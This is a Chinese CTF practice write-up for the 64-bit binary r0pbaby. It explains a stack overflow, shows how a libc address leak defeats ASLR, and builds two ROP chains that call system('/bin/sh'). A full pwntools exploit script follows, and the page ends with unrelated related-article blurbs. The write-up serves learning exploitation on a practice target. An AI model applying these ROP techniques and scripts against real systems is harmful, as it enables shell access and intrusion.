pwn练习-r0pbaby

简介: 经典的rop利用题目作为一枚菜鸡,希望能从基础开始多学点东西首先file命令查看文件类型为64位程序image.png用checksec查看开启的保护,可以看到,开启了堆栈不可执行、地址分布随机化image.

经典的rop利用题目
作为一枚菜鸡,希望能从基础开始多学点东西
首先file命令查看文件类型为64位程序


image.png

用checksec查看开启的保护,可以看到,开启了堆栈不可执行、地址分布随机化


image.png

执行程序,有以下这些选项


image.png

选项1给出libc的地址
选项2给出libc其中一个函数的地址
选项3可以向栈中输入小于1024的任意数据

首先测试溢出点
通过peda自带的pattern_create和pattern_offset进行溢出填充位数判断


image.png

image.png

image.png

可以得到溢出填充位为8字节,之后紧接着就是ret的地址,可以进行覆盖
在这里一般思路就是覆盖为system或者其他可以执行系统命令的函数地址,使得可以getshell
需要注意的是,64位系统中通过寄存器传参,函数传参顺序是RDI,RSI,RDX,RCX,R8,R9
调用system等函数时需要先给RDI寄存器赋值参数内容'/bin/sh'
使得最后执行system('/bin/sh'),因此需要构造栈布局
这里有两种ROP的利用方法


image.png
0x01

首先是考虑先赋值RDI内容为'/bin/sh',之后再调用system函数
因此在这里需要找到gaget


image.png

这样我们的payload如下所示:

payload = 'A'*8 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)

ret到pop rid ; ret的地址进行执行,将栈中sh_addr('/bin/sh'的地址)传到RDI寄存器,接着ret到system_addr(sysem函数的地址)执行shell

0x02

还可以通过找到先pop寄存器,然后直接call寄存器的gaget来利用


image.png

这样的利用栈布局就如下payload所示

payload = 'A'*8 + p64(ppc_addr) + p64(system_addr) + p64(sh_addr)

ret到pop rax ; pop rdi ; call rax,将栈中system_addr传到RAX寄存器,将sh_addr传到RDI寄存器,之后直接CALL RAX来执行shell

payload和栈布局找好了,接下来就是写脚本利用了
还需要得到system在libc中的地址和'/bin/sh'字符串的地址
而'/bin/sh'在libc中已经存在了,可以通过Winhex查找,也可以通过IDA查找,这里注意,找到的是offset address


image.png

image.png

在IDA中按shift+f12,再通过ctrl+f搜索也可以找到


image.png

system的内存加载地址可以通过程序的选项2直接获取,再通过system在libc中固定的偏移地址,就可以得到libc的实际加载地址,并且能够获得其他所有函数和'/bin/sh'的实际加载地址。可以使用pwntools工具来获取offset address

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_offset = libc.symbols['system']
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")

system_addr = p.recvline().split(": ")[1].strip("\n")
system_addr = long(system_addr,16)

拿到system的实际地址和偏移地址offset addr之后,就可以拿到'/bin/sh'的实际地址

sh_addr = system_addr + sh_offset - system_offset

最后system和'/bin/sh'的地址都拿到,两种payload都可以生效


image.png

image.png
from pwn import *

p = process("./r0pbaby")
elf = ELF("r0pbaby")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_offset = libc.symbols['system']
sh_offset = 0x179ef5

bss_addr = elf.bss()
pop_rdi_ret_offset = 0x00000000000208ef
ppc_addr_offset = 0x00000000000f53eb

p.recvuntil(": ")
p.sendline("1")
libc_addr = p.recvline().split(": ")[1].strip("\n")
libc_addr = long(libc_addr,16)
print "libc_addr:%x" % libc_addr

p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")

system_addr = p.recvline().split(": ")[1].strip("\n")
system_addr = long(system_addr,16)
sh_addr = system_addr + sh_offset - system_offset
pop_rdi_ret = system_addr + pop_rdi_ret_offset - system_offset
ppc_addr = system_addr + ppc_addr_offset - system_offset
print "system_addr:%x" % system_addr
print "base_addr:%x" % (system_addr - system_offset)

p.recvuntil(": ")
p.sendline("3")
p.recvuntil(": ")


#payload = 'A'*8 + p64(ppc_addr) + p64(system_addr) + p64(sh_addr) 
payload = 'A'*8 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
length = str(len(payload))
print length
print payload
p.sendline(length)
p.sendline(payload)
p.recv()

p.interactive()

ps:

一开始写脚本直接用选项1的地址做libc基地址来加上偏移,发现怎么都是错的
选项1给出的地址不是libc的基地址,需要用选项2的函数地址泄露来算出libc的基地址

目录
相关文章
|
运维 监控 安全
阿里巴巴DevOps实践指南(十九)| 监管控一体化运维
阿里巴巴应用运维监管控一体化的建设随着业务形态和技术架构还在不断地探索和发展,本文主要介绍了应用运维监管控一体化建设的背景和思路。我们以应用为中心,从应用监控管角度出发,通过全视角监控实时掌握应用的运行状态,通过高效发布部署和灵活的运维编排对应用进行安全变更,通过智能化运维和安全防护实现应用的高级防护。
阿里巴巴DevOps实践指南(十九)| 监管控一体化运维
|
17天前
|
人工智能 编解码 自然语言处理
AI 视频制作:一套从零到成片的工作流(商汤 Seko、即梦 AI、Runway、Pika 等工具组合)
这套工作流的核心思路其实就一句:让 AI 承担大部分执行工作,把精力留给选题判断和内容审核。按这个流程跑 3~5 条之后,你会对"哪一步该让 AI 做、哪一步必须自己把关"有更具体的手感,单条制作时间也会自然往下走。
|
2月前
|
存储 弹性计算 人工智能
阿里云轻量应用服务器抢购价38元1年,配置、抢购资格与时间、适用场景、抢购策略参考
本文详解阿里云38元/年轻量应用服务器抢购活动核心内容:2核2G配置搭配200M峰值带宽、40G系统盘,面向阿里云新用户每日10点、15点限量秒杀,可预装宝塔、WordPress等开箱即用应用镜像,适配个人博客、开发测试环境、轻量AI助理等场景。同时梳理抢购资格规则、实操策略,补充68元直购价、99元ECS特惠等替代方案,帮助用户理性选择适配自身需求的高性价比上云路径。
|
2月前
|
数据采集 人工智能 定位技术
GEO优化长期没效果?问题诊断的六个关键维度
本文直击GEO(生成式引擎优化)常见困境——“投入久却无效果”,揭示问题多出在诊断缺失而非执行不力。全文以AI检索与生成机制为基,系统拆解“无效果”的三层本质,并提供六大可落地诊断维度及速查流程,兼顾新手入门、项目攻坚与系统学习三类读者,助力精准定位真堵点。
252 0
|
9月前
|
人工智能 IDE 安全
拒绝花里胡哨,AI编程载体与助手的实战适配攻略
说起AI编程类载体,相信不少开发者都有同款感受:大多停留在代码补全、片段生成的浅层辅助阶段,和实际研发流程脱节,用起来总觉得差口气。而新一代的AI编程协作体系,彻底打破了这种局限,它并非单纯的编程类载体,而是能深度融入研发全流程、适配多款开发载体与CLI组件的全新解决方案。这段时间将其应用在日常开发和团队协作中,覆盖多款IDE与CLI载体实操,踩过坑也摸透了各类实用技巧,今天纯以实战视角,和大家拆解这类AI编程体系的技术亮点、载体适配案例,还有一些实打实的使用心得,只讲干货不聊虚的。
360 6
|
4月前
|
供应链 安全 BI
API赋能供应链:基于京东开放接口的自动化采购询价落地方案
该平台通过对接京东开放API,实现采购询价全流程自动化:智能寻源、实时比价、成本核算、风控筛查与数据留痕,替代人工询价,提升效率、透明度与合规性,助力企业供应链数字化升级。
442 0
|
4月前
|
人工智能 JSON 监控
Claude Code 官方教你 Loop 工程,附 6 大省 token 技巧!
Claude Code 官方循环工程 Loop Engineering 深度解读!手把手带你理解 4 种循环类型,覆盖多 Agent 协作、/goal、/loop、/schedule 命令用法、代码质量保障和 token 省钱技巧,从入门到实战全流程
536 0
|
10月前
|
安全 Linux 数据安全/隐私保护
Linux 权限实战:从概念到命令,搞定文件访问控制的核心逻辑
本教程详解Linux文件权限管理,涵盖权限基础、三元素(读/写/执行)、数字与符号模式修改、所有者变更等核心命令,并结合实战练习与最佳实践,助你掌握系统安全控制技能。
|
8月前
|
存储 人工智能 机器人
AI开源知识库的部署、调试与优化:全流程实践研究
在企业数字化转型的进程中,知识管理的效率直接决定了组织协作与业务创新的天花板。传统知识库系统普遍存在信息孤岛、检索低效、维护成本高等问题,而以大模型为核心的智能知识库系统,正成为解决这一痛点的关键方案。基于AGPL-3.0协议的AI驱动开源知识库,凭借轻量化部署、全链路智能能力与高扩展性,在技术文档管理、企业知识沉淀、跨端协同等场景中展现出独特的技术价值。本文将从技术架构、核心能力、落地实践与使用心得四个维度,对智能知识库系统进行深度解析,同时结合医疗行业的创新落地案例,探讨智能知识库的实际应用价值。
536 2
|
9月前
|
人工智能 自然语言处理 前端开发
写了10万行代码,却毁在配色上?这套指令让后端直男秒变设计总监
这是一篇专为后端及全栈开发者定制的实用指南,旨在解决开发者“代码强但审美弱”的痛点。文章提供了一套核心AI指令,能将DeepSeek等AI变成专业UI设计顾问,快速生成符合大厂规范(Design Token)的配色体系。通过一个后台管理系统的实战案例,演示了如何用AI将“土味”界面瞬间升级为专业级UI,让开发者无需学习设计理论也能搞定高颜值配色。
926 4

热门文章

最新文章